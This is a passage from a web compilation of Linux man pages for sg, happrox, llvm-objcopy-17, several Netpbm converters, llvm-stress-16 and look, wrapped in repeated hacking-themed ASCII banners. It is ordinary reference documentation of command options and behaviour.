             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2060 - Linux cli command sg

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sg and provides detailed information about the command sg, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sg.

NAME 🖥️ sg 🖥️

execute command as different group ID

SYNOPSIS

sg [-] [group [-c ] command]

DESCRIPTION

The sg command works similar to newgrp but accepts a command. The command will be executed with the /bin/sh shell. With most shells you may run sg from, you need to enclose multi-word commands in quotes. Another difference between newgrp and sg is that some shells treat newgrp specially, replacing themselves with a new instance of a shell that newgrp creates. This doesnt happen with sg, so upon exit from a sg command you are returned to your previous group ID.

CONFIGURATION

The following configuration variables in /etc/login.defs change the behavior of this tool:

SYSLOG_SG_ENAB (boolean)

Enable “syslog” logging of sg activity.

FILES

/etc/passwd

User account information.

/etc/shadow

Secure user account information.

/etc/group

Group account information.

/etc/gshadow

Secure group account information.

SEE ALSO

id(1), login(1), newgrp(1), su(1), gpasswd(1), group(5), gshadow(5).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2061 - Linux cli command happrox

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command happrox and provides detailed information about the command happrox, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the happrox.

NAME 🖥️ happrox 🖥️

returns a simplified triangulation of a set of points using algorithm III of Garland and Heckbert (1995).

SYNOPSIS

happrox [ OPTIONS ] < [ input.pgm|input ] > output.gts

DESCRIPTION

This manual page documents briefly the happrox command.

OPTIONS

This program follow the usual GNU command line syntax, with long options starting with two dashes (`-’). A summary of options is included below.

**-n ***N, ***–number=**N
Stop the refinement process if the number of vertices is larger than N.

**-c ***C, ***–cost=**C
Stop the refinement process if the cost of insertion of a vertex is smaller than C.

-f, –flat
Input is a flat file with three x,y,z columns (default is PGM file).

**-r ***Z, ***–relative=**Z
Use relative height cost for all heights larger than Z.

-k, –keep
Keep enclosing triangle.

-C, –closed
Close the surface.

-l, –log
Log evolution of cost.

-v, –verbose
Display surface statistics.

-h, –help
Display the help and exit.

AUTHOR

happrox was written by Stephane Popinet <[email protected]>.

This manual page was written by Ruben Molina <[email protected]>, for the Debian project (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2062 - Linux cli command llvm-objcopy-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-objcopy-17 and provides detailed information about the command llvm-objcopy-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-objcopy-17.

NAME 🖥️ llvm-objcopy-17 🖥️

objcopy - object copying and editing tool

SYNOPSIS

llvm-objcopy [options] input [output]

DESCRIPTION

llvm-objcopy is a tool to copy and manipulate objects. In basic usage, it makes a semantic copy of the input to the output. If any options are specified, the output may be modified along the way, e.g. by removing sections.

If no output file is specified, the input file is modified in-place. If “-” is specified for the input file, the input is read from the program’s standard input stream. If “-” is specified for the output file, the output is written to the standard output stream of the program.

If the input is an archive, any requested operations will be applied to each archive member individually.

The tool is still in active development, but in most scenarios it works as a drop-in replacement for GNU’s objcopy.

GENERIC AND CROSS-PLATFORM OPTIONS

The following options are either agnostic of the file format, or apply to multiple file formats.

–add-gnu-debuglink <debug-file>
Add a .gnu_debuglink section for <debug-file> to the output.

–add-section <section=file>
Add a section named <section> with the contents of <file> to the output. For ELF objects the section will be of type SHT_NOTE, if the name starts with “.note”. Otherwise, it will have type SHT_PROGBITS. Can be specified multiple times to add multiple sections.

For MachO objects, <section> must be formatted as <segment name>,<section name>.

–binary-architecture <arch>, -B
Ignored for compatibility.

–disable-deterministic-archives, -U
Use real values for UIDs, GIDs and timestamps when updating archive member headers.

–discard-all, -x
Remove most local symbols from the output. Different file formats may limit this to a subset of the local symbols. For example, file and section symbols in ELF objects will not be discarded. Additionally, remove all debug sections.

–dump-section <section>=<file>
Dump the contents of section <section> into the file <file>. Can be specified multiple times to dump multiple sections to different files. <file> is unrelated to the input and output files provided to llvm-objcopy and as such the normal copying and editing operations will still be performed. No operations are performed on the sections prior to dumping them.

For MachO objects, <section> must be formatted as <segment name>,<section name>.

–enable-deterministic-archives, -D
Enable deterministic mode when copying archives, i.e. use 0 for archive member header UIDs, GIDs and timestamp fields. On by default.

–help, -h
Print a summary of command line options.

–only-keep-debug
Produce a debug file as the output that only preserves contents of sections useful for debugging purposes.

For ELF objects, this removes the contents of SHF_ALLOC sections that are not SHT_NOTE by making them SHT_NOBITS and shrinking the program headers where possible.

–only-section <section>, -j
Remove all sections from the output, except for sections named <section>. Can be specified multiple times to keep multiple sections.

For MachO objects, <section> must be formatted as <segment name>,<section name>.

–redefine-sym <old>=<new>
Rename symbols called <old> to <new> in the output. Can be specified multiple times to rename multiple symbols.

–redefine-syms <filename>
Rename symbols in the output as described in the file <filename>. In the file, each line represents a single symbol to rename, with the old name and new name separated by whitespace. Leading and trailing whitespace is ignored, as is anything following a ‘#’. Can be specified multiple times to read names from multiple files.

–regex
If specified, symbol and section names specified by other switches are treated as extended POSIX regular expression patterns.

–remove-section <section>, -R
Remove the specified section from the output. Can be specified multiple times to remove multiple sections simultaneously.

For MachO objects, <section> must be formatted as <segment name>,<section name>.

–set-section-alignment <section>=<align>
Set the alignment of section <section> to <align>. Can be specified multiple times to update multiple sections.

–set-section-flags <section>=<flag>[,<flag>,…]
Set section properties in the output of section <section> based on the specified <flag> values. Can be specified multiple times to update multiple sections.

Supported flag names are alloc, load, noload, readonly, exclude, debug, code, data, rom, share, contents, merge and strings. Not all flags are meaningful for all object file formats.

For ELF objects, the flags have the following effects:

  • alloc = add the SHF_ALLOC flag.

  • load = if the section has SHT_NOBITS type, mark it as a SHT_PROGBITS section.

  • readonly = if this flag is not specified, add the SHF_WRITE flag.

  • exclude = add the SHF_EXCLUDE flag.

  • code = add the SHF_EXECINSTR flag.

  • merge = add the SHF_MERGE flag.

  • strings = add the SHF_STRINGS flag.

  • contents = if the section has SHT_NOBITS type, mark it as a SHT_PROGBITS section.

For COFF objects, the flags have the following effects:

  • alloc = add the IMAGE_SCN_CNT_UNINITIALIZED_DATA and IMAGE_SCN_MEM_READ flags, unless the load flag is specified.

  • noload = add the IMAGE_SCN_LNK_REMOVE and IMAGE_SCN_MEM_READ flags.

  • readonly = if this flag is not specified, add the IMAGE_SCN_MEM_WRITE flag.

  • exclude = add the IMAGE_SCN_LNK_REMOVE and IMAGE_SCN_MEM_READ flags.

  • debug = add the IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE and IMAGE_SCN_MEM_READ flags.

  • code = add the IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE and IMAGE_SCN_MEM_READ flags.

  • data = add the IMAGE_SCN_CNT_INITIALIZED_DATA and IMAGE_SCN_MEM_READ flags.

  • share = add the IMAGE_SCN_MEM_SHARED and IMAGE_SCN_MEM_READ flags.

–strip-all-gnu
Remove all symbols, debug sections and relocations from the output. This option is equivalent to GNU objcopy’s –strip-all switch.

–strip-all, -S
For ELF objects, remove from the output all symbols and non-alloc sections not within segments, except for .gnu.warning, .ARM.attribute sections and the section name table.

For COFF and Mach-O objects, remove all symbols, debug sections, and relocations from the output.

–strip-debug, -g
Remove all debug sections from the output.

–strip-symbol <symbol>, -N
Remove all symbols named <symbol> from the output. Can be specified multiple times to remove multiple symbols.

–strip-symbols <filename>
Remove all symbols whose names appear in the file <filename>, from the output. In the file, each line represents a single symbol name, with leading and trailing whitespace ignored, as is anything following a ‘#’. Can be specified multiple times to read names from multiple files.

–strip-unneeded-symbol <symbol>
Remove from the output all symbols named <symbol> that are local or undefined and are not required by any relocation.

–strip-unneeded-symbols <filename>
Remove all symbols whose names appear in the file <filename>, from the output, if they are local or undefined and are not required by any relocation. In the file, each line represents a single symbol name, with leading and trailing whitespace ignored, as is anything following a ‘#’. Can be specified multiple times to read names from multiple files.

–strip-unneeded
Remove from the output all local or undefined symbols that are not required by relocations. Also remove all debug sections.

–update-section <name>=<file>
Replace the contents of the section <name> with contents from the file <file>. If the section <name> is part of a segment, the new contents cannot be larger than the existing section.

–version, -V
Display the version of the llvm-objcopy executable.

–wildcard, -w
Allow wildcard syntax for symbol-related flags. On by default for section-related flags. Incompatible with –regex.

Wildcard syntax allows the following special symbols:

CharacterMeaningEquivalent
*Any number of characters.*
_
?Any single character.
_
\Escape the next character\
_
[a-z]Character class[a-z]
_
[!a-z], [^a-z]Negated character class[^a-z]

Additionally, starting a wildcard with ‘!’ will prevent a match, even if another flag matches. For example -w -N ‘*’ -N ‘!x’ will strip all symbols except for x.

The order of wildcards does not matter. For example, -w -N ‘*’ -N ‘!x’ is the same as -w -N ‘!x’ -N ‘*’.

@<FILE>
Read command-line options and commands from response file <FILE>.

ELF-SPECIFIC OPTIONS

The following options are implemented only for ELF objects. If used with other objects, llvm-objcopy will either emit an error or silently ignore them.

–add-symbol <name>=[<section>:]<value>[,<flags>]
Add a new symbol called <name> to the output symbol table, in the section named <section>, with value <value>. If <section> is not specified, the symbol is added as an absolute symbol. The <flags> affect the symbol properties. Accepted values are:

  • global = the symbol will have global binding.

  • local = the symbol will have local binding.

  • weak = the symbol will have weak binding.

  • default = the symbol will have default visibility.

  • hidden = the symbol will have hidden visibility.

  • protected = the symbol will have protected visibility.

  • file = the symbol will be an STT_FILE symbol.

  • section = the symbol will be an STT_SECTION symbol.

  • object = the symbol will be an STT_OBJECT symbol.

  • function = the symbol will be an STT_FUNC symbol.

  • indirect-function = the symbol will be an STT_GNU_IFUNC symbol.

Additionally, the following flags are accepted but ignored: debug, constructor, warning, indirect, synthetic, unique-object, before.

Can be specified multiple times to add multiple symbols.

–allow-broken-links
Allow llvm-objcopy to remove sections even if it would leave invalid section references. Any invalid sh_link fields will be set to zero.

–change-start <incr>, –adjust-start
Add <incr> to the program’s start address. Can be specified multiple times, in which case the values will be applied cumulatively.

–compress-debug-sections [<format>]
Compress DWARF debug sections in the output, using the specified format. Supported formats are zlib and zstd. Use zlib if <format> is omitted.

–decompress-debug-sections
Decompress any compressed DWARF debug sections in the output.

–discard-locals, -X
Remove local symbols starting with “.L” from the output.

–extract-dwo
Remove all sections that are not DWARF .dwo sections from the output.

–extract-main-partition
Extract the main partition from the output.

–extract-partition <name>
Extract the named partition from the output.

–globalize-symbol <symbol>
Mark any defined symbols named <symbol> as global symbols in the output. Can be specified multiple times to mark multiple symbols.

–globalize-symbols <filename>
Read a list of names from the file <filename> and mark defined symbols with those names as global in the output. In the file, each line represents a single symbol, with leading and trailing whitespace ignored, as is anything following a ‘#’. Can be specified multiple times to read names from multiple files.

–input-target <format>, -I
Read the input as the specified format. See SUPPORTED FORMATS for a list of valid <format> values. If unspecified, llvm-objcopy will attempt to determine the format automatically.

–keep-file-symbols
Keep symbols of type STT_FILE, even if they would otherwise be stripped.

–keep-global-symbol <symbol>, -G
Make all symbols local in the output, except for symbols with the name <symbol>. Can be specified multiple times to ignore multiple symbols.

–keep-global-symbols <filename>
Make all symbols local in the output, except for symbols named in the file <filename>. In the file, each line represents a single symbol, with leading and trailing whitespace ignored, as is anything following a ‘#’. Can be specified multiple times to read names from multiple files.

–keep-section <section>
When removing sections from the output, do not remove sections named <section>. Can be specified multiple times to keep multiple sections.

–keep-symbol <symbol>, -K
When removing symbols from the output, do not remove symbols named <symbol>. Can be specified multiple times to keep multiple symbols.

–keep-symbols <filename>
When removing symbols from the output do not remove symbols named in the file <filename>. In the file, each line represents a single symbol, with leading and trailing whitespace ignored, as is anything following a ‘#’. Can be specified multiple times to read names from multiple files.

–localize-hidden
Make all symbols with hidden or internal visibility local in the output.

–localize-symbol <symbol>, -L
Mark any defined non-common symbol named <symbol> as a local symbol in the output. Can be specified multiple times to mark multiple symbols as local.

–localize-symbols <filename>
Read a list of names from the file <filename> and mark defined non-common symbols with those names as local in the output. In the file, each line represents a single symbol, with leading and trailing whitespace ignored, as is anything following a ‘#’. Can be specified multiple times to read names from multiple files.

–new-symbol-visibility <visibility>
Specify the visibility of the symbols automatically created when using binary input or –add-symbol. Valid options are:

  • default

  • hidden

  • internal

  • protected

The default is default.

–output-target <format>, -O
Write the output as the specified format. See SUPPORTED FORMATS for a list of valid <format> values. If unspecified, the output format is assumed to be the same as the value specified for –input-target or the input file’s format if that option is also unspecified.

–prefix-alloc-sections <prefix>
Add <prefix> to the front of the names of all allocatable sections in the output.

–prefix-symbols <prefix>
Add <prefix> to the front of every symbol name in the output.

–preserve-dates, -p
Preserve access and modification timestamps in the output.

–rename-section <old>=<new>[,<flag>,…]
Rename sections called <old> to <new> in the output, and apply any specified <flag> values. See –set-section-flags for a list of supported flags. Can be specified multiple times to rename multiple sections.

–set-section-type <section>=<type>
Set the type of section <section> to the integer <type>. Can be specified multiple times to update multiple sections.

–set-start-addr <addr>
Set the start address of the output to <addr>. Overrides any previously specified –change-start or –adjust-start options.

–split-dwo <dwo-file>
Equivalent to running llvm-objcopy with –extract-dwo and <dwo-file> as the output file and no other options, and then with –strip-dwo on the input file.

–strip-dwo
Remove all DWARF .dwo sections from the output.

–strip-non-alloc
Remove from the output all non-allocatable sections that are not within segments.

–strip-sections
Remove from the output all section headers and all section data not within segments. Note that many tools will not be able to use an object without section headers.

–target <format>, -F
Equivalent to –input-target and –output-target for the specified format. See SUPPORTED FORMATS for a list of valid <format> values.

–weaken-symbol <symbol>, -W
Mark any global symbol named <symbol> as a weak symbol in the output. Can be specified multiple times to mark multiple symbols as weak.

–weaken-symbols <filename>
Read a list of names from the file <filename> and mark global symbols with those names as weak in the output. In the file, each line represents a single symbol, with leading and trailing whitespace ignored, as is anything following a ‘#’. Can be specified multiple times to read names from multiple files.

–weaken
Mark all defined global symbols as weak in the output.

MACH-O-SPECIFIC OPTIONS

–keep-undefined
Keep undefined symbols, even if they would otherwise be stripped.

COFF-SPECIFIC OPTIONS

–subsystem <name>[:<version>]
Set the PE subsystem, and optionally subsystem version.

SUPPORTED FORMATS

The following values are currently supported by llvm-objcopy for the –input-target, –output-target, and –target options. For GNU objcopy compatibility, the values are all bfdnames.

  • binary

  • ihex

  • elf32-i386

  • elf32-x86-64

  • elf64-x86-64

  • elf32-iamcu

  • elf32-littlearm

  • elf64-aarch64

  • elf64-littleaarch64

  • elf32-littleriscv

  • elf64-littleriscv

  • elf32-powerpc

  • elf32-powerpcle

  • elf64-powerpc

  • elf64-powerpcle

  • elf32-bigmips

  • elf32-ntradbigmips

  • elf32-ntradlittlemips

  • elf32-tradbigmips

  • elf32-tradlittlemips

  • elf64-tradbigmips

  • elf64-tradlittlemips

  • elf32-sparc

  • elf32-sparcel

Additionally, all targets except binary and ihex can have -freebsd as a suffix.

BINARY INPUT AND OUTPUT

If binary is used as the value for –input-target, the input file will be embedded as a data section in an ELF relocatable object, with symbols _binary_<file_name>_start, _binary_<file_name>_end, and _binary_<file_name>_size representing the start, end and size of the data, where <file_name> is the path of the input file as specified on the command line with non-alphanumeric characters converted to _.

If binary is used as the value for –output-target, the output file will be a raw binary file, containing the memory image of the input file. Symbols and relocation information will be discarded. The image will start at the address of the first loadable section in the output.

EXIT STATUS

llvm-objcopy exits with a non-zero exit code if there is an error. Otherwise, it exits with code 0.

BUGS

To report bugs, please visit <https://github.com/llvm/llvm-project/labels/tools:llvm-objcopy/strip/>.

There is a known issue with –input-target and –target causing only binary and ihex formats to have any effect. Other values will be ignored and llvm-objcopy will attempt to guess the input format.

SEE ALSO

llvm-strip(1)

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2063 - Linux cli command wbmptopbm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command wbmptopbm and provides detailed information about the command wbmptopbm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the wbmptopbm.

.

NAME 🖥️ wbmptopbm 🖥️

convert a wireless bitmap (wbmp) file to a PBM

SYNOPSIS

wbmptopbm

[wbmpfile]

DESCRIPTION

This program is part of Netpbm(1) .

wbmptopbm reads a wbmp file as input and produces a PBM image as output.

OPTIONS

There are no command line options defined specifically for wbmptopbm, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

LIMITATIONS

wbmptopbm recognizes only WBMP type 0. This is the only type specified in the WAP 1.1 specifications.

SEE ALSO

pbm(1) , pbmtowbmp(1) ,

Wireless Application Environment Specification.

AUTHOR

Copyright (C) 1999 Terje Sannum <[email protected]>.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/wbmptopbm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2064 - Linux cli command pamtopnm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamtopnm and provides detailed information about the command pamtopnm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamtopnm.

.

NAME 🖥️ pamtopnm 🖥️

convert PAM image to PBM, PGM, or PPM

SYNOPSIS

pamtopnm

[-assume]

[pnmfile]

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

pamtopnm reads a PAM image as input and produces an equivalent PBM, PGM, or PPM (i.e. PNM) image, whichever is most appropriate, as output.

pamtopnm assumes the PAM image represents the information required for a PBM, PGM, or PPM image if its tuple type is “BLACKANDWHITE”, “GRAYSCALE”, or “RGB” and its depth and maxval are appropriate. If this is not the case, pamtopnm fails.

However, you can override the tuple type requirement with the -assume option.

pamtopnm produces a PPM image if the input PAM has depth 3 or 4; it produces PGM or PBM if the input PAM has depth 1 or 2. Whether it produced PGM or PBM depends upon the maxval: PBM for 1, PGM for anything higher. The tuple type does not play a role in determining the output type. You can use Netpbm programs such as pgmtopgm to generate a different PNM output, but remember that Netpbm program that expects PGM input will take PBM and so on.

Note that it’s possible for an image which is formally color to in fact contain only shades of gray and for an image which is formally grayscale to contain only black and white. This program pays no attention to that; an RGB input image produces a PPM output image even if all the pixels are gray. But you can use ppmtopgm to convert a PPM that you know is grayscale to the equivalent PGM, and you can use pamthreshold to convert a PGM image you know is black and white to a black and white PAM image and then use pamtopnm to convert that to PBM.

As with any Netpbm program that reads PAM images, pamtopnm also reads PNM images as if they were PAM. In that case, pamtopnm’s functions reduces to simply copying the input to the output. But this can be useful in a program that doesn’t know whether its input is PAM or PNM but needs to feed it to a program that only recognizes PNM.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamtopnm recognizes the following command line option:

-assume
When you specify -assume, you tell pamtopnm that you personally vouch for the fact that the tuples contain the same data as belongs in the channels of a PBM, PGM, or PPM file. The depth must still conform, though, so to truly force a conversion, you may have to run the input through pamchannel first. But be careful with -assume. When you -assume, you make an -ass of u and me.

SEE ALSO

pbmtopgm(1) , pamditherbw(1) , pgmtoppm(1) , ppmtopgm(1) , pamthreshold(1) , pam(1) , pnm(1) , pbm(1) , pgm(1) , ppm(1)

HISTORY

pamtopnm was new, along with the PAM format, in Netpbm 9.7 (August 2000).

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamtopnm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2065 - Linux cli command pgmslice

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pgmslice and provides detailed information about the command pgmslice, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pgmslice.

.

NAME 🖥️ pgmslice 🖥️

extract one line of pixel values out of a PGM

DESCRIPTION

This program is part of Netpbm(1) .

Starting with Netpbm 10.3, pgmslice is obsolete. Use pamslice(1) instead. It is backward compatible.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pgmslice.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2066 - Linux cli command llvm-stress-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-stress-16 and provides detailed information about the command llvm-stress-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-stress-16.

NAME 🖥️ llvm-stress-16 🖥️

stress - generate random .ll files

SYNOPSIS

llvm-stress [-size=filesize] [-seed=initialseed] [-o=outfile]

DESCRIPTION

The llvm-stress tool is used to generate random .ll files that can be used to test different components of LLVM.

OPTIONS

-o filename
Specify the output filename.

-size size
Specify the size of the generated .ll file.

-seed seed
Specify the seed to be used for the randomly generated instructions.

EXIT STATUS

llvm-stress returns 0.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2067 - Linux cli command look

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command look and provides detailed information about the command look, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the look.

NAME 🖥️ look 🖥️

display lines beginning with a given string

SYNOPSIS

look [options] string [file]

DESCRIPTION

The look utility displays any lines in file which contain string as a prefix. As look performs a binary search, the lines in file must be sorted (where sort(1) was given the same options -d and/or -f that look is invoked with).

If file is not specified, the file /usr/share/dict/words is used, only alphanumeric characters are compared and the case of alphabetic characters is ignored.

OPTIONS

-a, –alternative

Use the alternative dictionary file.

-d, –alphanum

Use normal dictionary character set and order, i.e., only blanks and alphanumeric characters are compared. This is on by default if no file is specified.

Note that blanks have been added to dictionary character set for compatibility with sort -d command since version 2.28.

-f, –ignore-case

Ignore the case of alphabetic characters. This is on by default if no file is specified.

-t, –terminate character

Specify a string termination character, i.e., only the characters in string up to and including the first occurrence of character are compared.

-h, –help

Display help text and exit.

-V, –version

Print version and exit.

The look utility exits 0 if one or more lines were found and displayed, 1 if no lines were found, and >1 if an error occurred.

ENVIRONMENT

WORDLIST

